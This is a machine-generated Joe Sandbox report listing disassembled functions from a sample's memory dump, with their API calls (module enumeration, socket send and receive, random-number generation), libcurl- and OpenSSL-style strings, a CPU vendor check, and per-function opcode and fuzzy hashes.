Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: *$Connection timed out after %d milliseconds$In state %d with no conn, bail out!$Internal error clearing splay node = %d$Operation timed out after %d milliseconds with %I64d bytes received$Operation timed out after %d milliseconds with %I64d out of %I64d bytes received$Resolving timed out after %d milliseconds
API String ID: 0-1633414443
Opcode ID: cc05b9872e01ce393c74e9e604d7335b623f8f95229242810a7d66cac41c0e2b
Instruction ID: c024b8d36128a6754728558ad1294283ea20940db5c07489504a4e8506916afa
Opcode Fuzzy Hash: cc05b9872e01ce393c74e9e604d7335b623f8f95229242810a7d66cac41c0e2b
Instruction Fuzzy Hash: 20E1BE716047019FE7329F14C845B6BB7E5FF45304F04892CF99A8B2A2EB79E914CB52

Function 00363700 Relevance: 9.1, APIs: 6, Instructions: 69processCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00363716
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00363734
GetLastError.KERNEL32(00000008,00000000), ref: 0036373E
Module32First.KERNEL32(00000000), ref: 00363759
Module32Next.KERNEL32(00000000), ref: 00363784
CloseHandle.KERNEL32(00000000,00000000), ref: 0036379D

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: Module32$CloseCreateErrorFirstHandleLastNextSnapshotToolhelp32memset
String ID:
API String ID: 2996058108-0
Opcode ID: f10f41b8a3b585ec2b9d31dad73443b135baa5c4c7c675f2c465000225a4d222
Instruction ID: 8aedcf3a343339a412147f94cf2e1ad5d21040c7bd911faf85b04b0e014ec77f
Opcode Fuzzy Hash: f10f41b8a3b585ec2b9d31dad73443b135baa5c4c7c675f2c465000225a4d222
Instruction Fuzzy Hash: 2901F9E660020037F63371B6AC4EB6B359C9FC5368F154634F98CCA1C2E979EA1482B3

Function 0051EE90 Relevance: 7.6, Strings: 6, Instructions: 129COMMON

Download Yara Rule

Strings

ntel, xrefs: 0051EED4
cAMD, xrefs: 0051EEF7
enti, xrefs: 0051EEEC
Auth, xrefs: 0051EEE1
Genu, xrefs: 0051EEBE
ineI, xrefs: 0051EEC9

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: Auth$Genu$cAMD$enti$ineI$ntel
API String ID: 0-1714976780
Opcode ID: 30a1b6f0e564be8d07df84ea30504acaa5bb7ec169232fbda98bf8fdb4b6cb7d
Instruction ID: 46c2d3b679db0a7e915b860480c13a40ff2df018fa9a23d235e8a0349b2a5e8d
Opcode Fuzzy Hash: 30a1b6f0e564be8d07df84ea30504acaa5bb7ec169232fbda98bf8fdb4b6cb7d
Instruction Fuzzy Hash: 60313877A145570BFB38583898863AC2483B394330F2ACB39ED3AD76D5E569CDC24290

Function 003973D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 110networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,00000000,?,00000000), ref: 003974B1
send.WS2_32(?,?,?,00000000), ref: 003974DD
WSAGetLastError.WS2_32(?,?,-00000009,003A6F14,?,?,?,-00000009,?), ref: 003974F3

Strings

Send failure: %s, xrefs: 00397518

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: ErrorLastrecvsend
String ID: Send failure: %s
API String ID: 3418755260-857917747
Opcode ID: c75eb58c30681f2d11a09088530b94c97e70561f071473eb61591aa48c67d1c8
Instruction ID: d2d0ea6e39df181d1748d580ce23f3e33e164dc89650c3bb6ba93eda17b0fdef
Opcode Fuzzy Hash: c75eb58c30681f2d11a09088530b94c97e70561f071473eb61591aa48c67d1c8
Instruction Fuzzy Hash: EA417E712182009FEB51DF25DC84B6677E9FB89328F160668F8599B3D2D335ED01CB62

Function 003833B0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 133stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 003833CD
strlen.MSVCRT ref: 00383472

Strings

Content-Type, xrefs: 003834A2

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen
String ID: Content-Type
API String ID: 39653677-2058190213
Opcode ID: bccc276c7d04258632ebaeba8e0a5c9d855a60fc25757650bdb4169d9020dab2
Instruction ID: 2c79de646d93a380a08f42edd96824feee5f074bdc54150cf2c278ef093d0a12
Opcode Fuzzy Hash: bccc276c7d04258632ebaeba8e0a5c9d855a60fc25757650bdb4169d9020dab2
Instruction Fuzzy Hash: 634106B2A043108BDB26EF56D8C1B12B7A5AF94B14F1B80B8DD485B307E775EE05C792

Function 00377D8F Relevance: 5.4, Strings: 4, Instructions: 391COMMON

Download Yara Rule

Strings

Re-used connection seems dead, get a new one, xrefs: 00377DD1
7, xrefs: 0037865C
*, xrefs: 00378BF4
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: strlen
String ID: *$7$Internal error clearing splay node = %d$Re-used connection seems dead, get a new one
API String ID: 39653677-2891390500
Opcode ID: a42c8d80f46368a5fdf553bf96b76d546aa5afc2996e45916d362654306babfb
Instruction ID: 3f7ba4ee311f72a0fcb9a3cc0cfe31fb95110cdb0c3e3f30132b7b9fbe7ba744
Opcode Fuzzy Hash: a42c8d80f46368a5fdf553bf96b76d546aa5afc2996e45916d362654306babfb
Instruction Fuzzy Hash: C0E1A1B16443019FE732DB18D889B6BB7E4AF45304F058828F98D8B391EB79ED44CB52

Function 00388AE0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),0000001A,?,?,?,?,00371C39,OpenSSL/1.1.1a (Schannel),00000050,0036EECE,00000004,?,?,?,00368BA3), ref: 00388B9B
memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),?,?,?,?,?,00371C39,OpenSSL/1.1.1a (Schannel),00000050,0036EECE,00000004,?,?,?,00368BA3), ref: 00388BAF

Strings

OpenSSL/1.1.1a (Schannel), xrefs: 00388B0E, 00388B15, 00388B46, 00388B74, 00388B95, 00388BA9

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memcpy
String ID: OpenSSL/1.1.1a (Schannel)
API String ID: 3510742995-2782720811
Opcode ID: 7282364c5225a13f2415525a725b66680d6eb126426c9efbbd24285398cc1e45
Instruction ID: cfc7b13b4b2e6a103c560eb91f6ef3733e9d21cafa0fc19d17acb8507313fbc5
Opcode Fuzzy Hash: 7282364c5225a13f2415525a725b66680d6eb126426c9efbbd24285398cc1e45
Instruction Fuzzy Hash: 6F213AB4614356DFC726DF58ECE57653BD6E797300F9505A8E580CF210E7B0AD8083A1

Function 00388BD0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),0000001A), ref: 00388C8B
memcpy.MSVCRT(?,OpenSSL/1.1.1a (Schannel),?), ref: 00388C9F

Strings

OpenSSL/1.1.1a (Schannel), xrefs: 00388BFE, 00388C05, 00388C36, 00388C64, 00388C85, 00388C99

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: memcpy
String ID: OpenSSL/1.1.1a (Schannel)
API String ID: 3510742995-2782720811
Opcode ID: 7282364c5225a13f2415525a725b66680d6eb126426c9efbbd24285398cc1e45
Instruction ID: d664fff560d52c839fb27a16a14eea69673b051b47f32ac2cad2604b8374a40d
Opcode Fuzzy Hash: 7282364c5225a13f2415525a725b66680d6eb126426c9efbbd24285398cc1e45
Instruction Fuzzy Hash: 162145B42153969FC729DF58ECE5B657BE6E747300F9505A8E680CF224E7B0AD8083A0

Function 00389BC0 Relevance: 4.5, APIs: 3, Instructions: 29encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00389BD7
CryptGenRandom.ADVAPI32(?,?,?,?,00000000,00000000,00000001,F0000040), ref: 00389BED
CryptReleaseContext.ADVAPI32(?,00000000,?,00000000,00000000,00000001,F0000040), ref: 00389C00

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: c190b732f6b72d077d1e113b40e42af50467458456b73bcbee49aa29fc3f9681
Instruction ID: 4fe309fcf2347083323c9b16b92eae10270daff1fde434498bf227c67a16a0c5
Opcode Fuzzy Hash: c190b732f6b72d077d1e113b40e42af50467458456b73bcbee49aa29fc3f9681
Instruction Fuzzy Hash: 75F092B1344301BBEB211F60DC89B163AEABF44744F140438F641D91A4D3BBD8B8AB15

Function 00377A9B Relevance: 2.9, Strings: 2, Instructions: 431COMMON

Download Yara Rule

Strings

Forcing HTTP/1.1 for NTLM, xrefs: 00377F80
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: Forcing HTTP/1.1 for NTLM$Internal error clearing splay node = %d
API String ID: 0-4157828289
Opcode ID: c35c0cf1d645ba04f38ff57aac3650c980eb7a64a982706fa48768528e9b8f4f
Instruction ID: 542d2f64d4a1c184bd90ed034ae01c4a02d39e4dbe4ca26a8e6b6324fc7d6826
Opcode Fuzzy Hash: c35c0cf1d645ba04f38ff57aac3650c980eb7a64a982706fa48768528e9b8f4f
Instruction Fuzzy Hash: 54F1F5716047009FE7329F28DC49B6BB7E5AF85304F158828F99E8B251EB39EC14DB52

Function 003776C1 Relevance: 2.8, Strings: 2, Instructions: 300COMMON

Download Yara Rule

Strings

*, xrefs: 00378BF4
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 0a948f8da06e96fda6926b3ff4927ac84119f446a0c276d264264328a922a8a1
Instruction ID: e2b0393d7d7778eafeb7f98a10a30a5f053e5b4c2b9f691672a07e287561cddb
Opcode Fuzzy Hash: 0a948f8da06e96fda6926b3ff4927ac84119f446a0c276d264264328a922a8a1
Instruction Fuzzy Hash: 38A1E1716443009FE7339F28DC49B2AB7E5AF41314F058828E59E8B3A1EB79EC54DB52

Function 00377BAC Relevance: 2.8, Strings: 2, Instructions: 292COMMON

Download Yara Rule

Strings

*, xrefs: 00378BF4
Internal error clearing splay node = %d, xrefs: 0037824B, 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 2a1ac20ebc047122caea2a0db287937397fec47604236b733316491f10c5eae0
Instruction ID: 61d546cc328e0f23aa81e53a2383965c2bc49b368c531bb757542a6d192d1ff0
Opcode Fuzzy Hash: 2a1ac20ebc047122caea2a0db287937397fec47604236b733316491f10c5eae0
Instruction Fuzzy Hash: 93B10171644701DFE7369F14C849B6BB3E5BF41314F058828E99E8B292EB79EC44CB52

Function 0037774F Relevance: 2.8, Strings: 2, Instructions: 258COMMON

Download Yara Rule

Strings

Hostname '%s' was found in DNS cache, xrefs: 003784B3
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: Hostname '%s' was found in DNS cache$Internal error clearing splay node = %d
API String ID: 0-2944650772
Opcode ID: 37d83dda01f17f5b0fe086d592c5281bb2d5ceb772cfaa88a71f03b51f2b2932
Instruction ID: 712d9c4a257f824db4792520326a386db1e6a8ee61acffd2f462e173fff07411
Opcode Fuzzy Hash: 37d83dda01f17f5b0fe086d592c5281bb2d5ceb772cfaa88a71f03b51f2b2932
Instruction Fuzzy Hash: B091DE71604301DFD736DF28D849B2AB3E4BF46304F058828E99D9B2A1EB39E954CB52

Function 00377771 Relevance: 2.7, Strings: 2, Instructions: 235COMMON

Download Yara Rule

Strings

*, xrefs: 00378BF4
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: a04aa5c0016c19e4c6e40c2f587dc945f68ce7d4e1b1b78d85ae45add36e0995
Instruction ID: 37b19c0fe6fb306f5a6670d6c0fb95bb6bf38f7eb1b76e805cf529ada59e8eb6
Opcode Fuzzy Hash: a04aa5c0016c19e4c6e40c2f587dc945f68ce7d4e1b1b78d85ae45add36e0995
Instruction Fuzzy Hash: A881C271644301DFE7379F18D849B2AB7E4BF41314F058828E99D8B2A1EB79EC44DB52

Function 00377B8D Relevance: 2.7, Strings: 2, Instructions: 230COMMON

Download Yara Rule

Strings

*, xrefs: 00377B95
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: c0e9eb530a0aa7c791685972f273367ba69b6adb31720a247a5806157bfb7dd0
Instruction ID: b3b69b755462cd5013a6d0491ccbffa3893419c2014f75bf69e00e2008e61785
Opcode Fuzzy Hash: c0e9eb530a0aa7c791685972f273367ba69b6adb31720a247a5806157bfb7dd0
Instruction Fuzzy Hash: 8281CD71604701AFE7379F24CC45B6BB7E5BF45304F048828F59E8B262EB3AE8549B52

Function 00377924 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

*, xrefs: 00378BF4
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006B7000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582524598.00000000006BA000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582591391.00000000006BB000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_360000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 7b0fc455f4068654d33f9cd07c212156ba45683df17645de5e69e095ac51f6a0
Instruction ID: e9f7ef5c897c6cd4665f0497c9c631e24f7a67c2251c355573417d20d4f0fa01
Opcode Fuzzy Hash: 7b0fc455f4068654d33f9cd07c212156ba45683df17645de5e69e095ac51f6a0
Instruction Fuzzy Hash: A38112716443019FE7369F18D849B2BB3E5AF41314F058828F95E8B391EB79EC44DB52

Function 003779B7 Relevance: 2.7, Strings: 2, Instructions: 225COMMON

Download Yara Rule

Strings

*, xrefs: 00378BF4
Internal error clearing splay node = %d, xrefs: 00378AD1

Memory Dump Source

Source File: 00000047.00000002.2581849689.0000000000361000.00000020.00000001.01000000.00000017.sdmp, Offset: 00360000, based on PE: true

Associated: 00000047.00000002.2581821766.0000000000360000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582077275.00000000005EE000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582114803.00000000005F2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582285994.00000000006B1000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000047.00000002.2582485116.00000000006B6000.00000004.00000001.01000000.00000017.sdmpDownload File
